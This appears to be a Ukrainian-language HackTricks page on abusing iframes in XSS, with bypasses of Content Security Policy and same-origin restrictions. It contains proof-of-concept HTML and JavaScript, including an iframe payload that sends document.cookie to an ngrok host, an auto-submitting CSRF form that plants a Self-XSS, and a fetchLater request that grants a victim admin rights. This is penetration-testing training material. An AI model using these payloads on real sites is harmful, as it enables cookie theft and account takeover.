205 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Iframes в XSS, CSP та SOP
{{#include ../../banners/hacktricks-training.md}}
## Iframes в XSS
Є 3 способи вказати вміст сторінки в iframe:
- Через `src`, вказуючи URL (URL може бути крос-доменним або того ж домену)
- Через `src`, вказуючи вміст за допомогою протоколу `data:`
- Через `srcdoc`, вказуючи вміст
**Доступ до змінних батьківського та дочірнього контексту**
```html
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
```
```html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
```
Якщо ви отримуєте доступ до попереднього html через http сервер (наприклад, `python3 -m http.server`), ви помітите, що всі скрипти будуть виконані (оскільки немає CSP, що цьому перешкоджає). **батьківський контекст не зможе отримати доступ до змінної `secret` всередині жодного iframe** і **тільки iframes if2 та if3 (які вважаються такими, що належать до одного сайту) можуть отримати доступ до секрету** в оригінальному вікні.\
Зверніть увагу, що if4 вважається таким, що має `null` походження.
### Iframes з CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
> [!TIP]
> Будь ласка, зверніть увагу, що в наступних обходах відповідь на iframe-сторінку не містить жодного заголовка CSP, який заважає виконанню JS.
Значення `self` для `script-src` не дозволить виконання JS коду, використовуючи протокол `data:` або атрибут `srcdoc`.\
Однак навіть значення `none` для CSP дозволить виконання iframe, які вказують URL (повний або лише шлях) в атрибуті `src`.\
Отже, можливо обійти CSP сторінки за допомогою:
```html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Зверніть увагу, що **попередній CSP дозволяє виконання лише вбудованого скрипту**.\
Однак, **будуть виконані лише скрипти `if1` та `if2`, але лише `if1` зможе отримати доступ до батьківського секрету**.
![](<../../images/image (372).png>)
Отже, можливо **обійти CSP, якщо ви можете завантажити JS файл на сервер і завантажити його через iframe, навіть з `script-src 'none'`**. Це **можливо також зробити, зловживаючи кінцевою точкою JSONP того ж сайту**.
Ви можете протестувати це з наступним сценарієм, де куки викрадаються навіть з `script-src 'none'`. Просто запустіть додаток і отримайте до нього доступ через ваш браузер:
```python
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Інші Payloads, знайдені в дикій природі <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```
### Iframe sandbox
Вміст в iframe може підлягати додатковим обмеженням за допомогою атрибута `sandbox`. За замовчуванням цей атрибут не застосовується, що означає, що обмеження не діють.
Коли використовується, атрибут `sandbox` накладає кілька обмежень:
- Вміст розглядається так, ніби він походить з унікального джерела.
- Будь-яка спроба надсилання форм блокується.
- Виконання скриптів заборонено.
- Доступ до певних API вимкнено.
- Запобігає взаємодії посилань з іншими контекстами перегляду.
- Використання плагінів через `<embed>`, `<object>`, `<applet>` або подібні теги заборонено.
- Навігація верхнього рівня контексту перегляду вмістом сама по собі заборонена.
- Функції, які запускаються автоматично, такі як відтворення відео або автоматичне фокусування елементів форм, блокуються.
Значення атрибута можна залишити порожнім (`sandbox=""`), щоб застосувати всі вищезазначені обмеження. Альтернативно, його можна встановити на список специфічних значень, розділених пробілами, які звільняють iframe від певних обмежень.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
```
### Credentialless iframes
Як пояснено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), прапорець `credentialless` в iframe використовується для завантаження сторінки всередині iframe без відправки облікових даних у запиті, зберігаючи при цьому політику одного походження (SOP) завантаженої сторінки в iframe.
Це дозволяє iframe отримувати чутливу інформацію з іншого iframe в тому ж SOP, завантаженому на батьківській сторінці:
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
```
- Приклад експлуатації: Self-XSS + CSRF
У цій атаці зловмисник готує шкідливу веб-сторінку з 2 iframe:
- Iframe, який завантажує сторінку жертви з прапором `credentialless` з CSRF, що викликає XSS (Уявіть собі Self-XSS у імені користувача):
```html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
- Інший iframe, в якому насправді користувач увійшов в систему (без прапора `credentialless`).
Тоді, з XSS, можливо отримати доступ до іншого iframe, оскільки вони мають одну і ту ж SOP, і вкрасти кукі, наприклад, виконавши:
```javascript
alert(window.top[1].document.cookie);
```
### fetchLater Attack
Як зазначено в [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` дозволяє налаштувати запит, який буде виконано пізніше (після певного часу). Тому це можна зловживати, наприклад, для входу жертви в сесію атакуючого (з Self-XSS), налаштувати запит `fetchLater` (щоб змінити пароль поточного користувача, наприклад) і вийти з сесії атакуючого. Потім жертва входить у свою власну сесію, і запит `fetchLater` буде виконано, змінюючи пароль жертви на той, що встановлений атакуючим.
Таким чином, навіть якщо URL жертви не може бути завантажено в iframe (через CSP або інші обмеження), атакуючий все ще може виконати запит у сесії жертви.
```javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes в SOP
Перевірте наступні сторінки:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
{{#endref}}
{{#ref}}
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}